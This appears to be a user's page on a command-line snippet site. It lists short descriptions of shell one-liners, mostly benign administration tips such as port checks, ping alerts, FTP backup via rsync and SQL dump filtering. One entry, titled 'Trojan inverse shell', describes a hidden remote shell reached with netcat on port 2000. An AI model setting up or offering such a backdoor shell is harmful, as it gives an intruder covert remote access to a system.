Commands by systemv (1)

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Calculate md5 sums for every file in a directory tree

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

beep when a server goes offline
pings a server once per second, and beeps when the server is unreachable. Basically the opposite of: $ ping -a server-or-ip.com which would beep when a server IS reachable. You could also substitute beep with any command, which makes this a powerful alternative to ping -a: $ while true; do [ "$(ping -c1W1w1 server-or-ip.com 2>/dev/null | awk '/received/ {print $4}')" = 1 ] && date || echo 'server is down!'; sleep 1; done which would output the date and time every sec until the ping failed, in which case it would echo. Notes: Requires beep package. May need to run as root (beep uses the system speaker) Tested on Ubuntu which doesn't have beep out of the box... $ sudo apt-get install beep

backup and synchronize entire remote folder locally (curlftpfs and rsync over FTP using FUSE FS)
connect to a remote server using ftp protocol over FUSE file system, then rsync the remote folder to a local one and then unmount the remote ftp server (FUSE FS) it can be divided to 3 different commands and you should have curlftpfs and rsync installed

Trojan inverse shell
To connect to the shell run: $ nc server.example.org 2000

Look for English words in /dev/urandom
* to get the English dictionary: wget http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt

Exclude inserting a table from a sql import
Starting with a large MySQL dump file (*.sql) remove any lines that have inserts for the specified table. Sometimes one or two tables are very large and uneeded, eg. log tables. To exclude multiple tables you can get fancy with sed, or just run the command again on subsequently generated files.

Get length of current playlist in xmms2

Detect Language of a string
Usage: $ detectlanguage Example: $ detectlanguage hola

Prettify XML in pipeline
xmllint2 comes with GNU libxml2 library. (based on: http://vim.wikia.com/wiki/Format_your_xml_document_using_xmllint)

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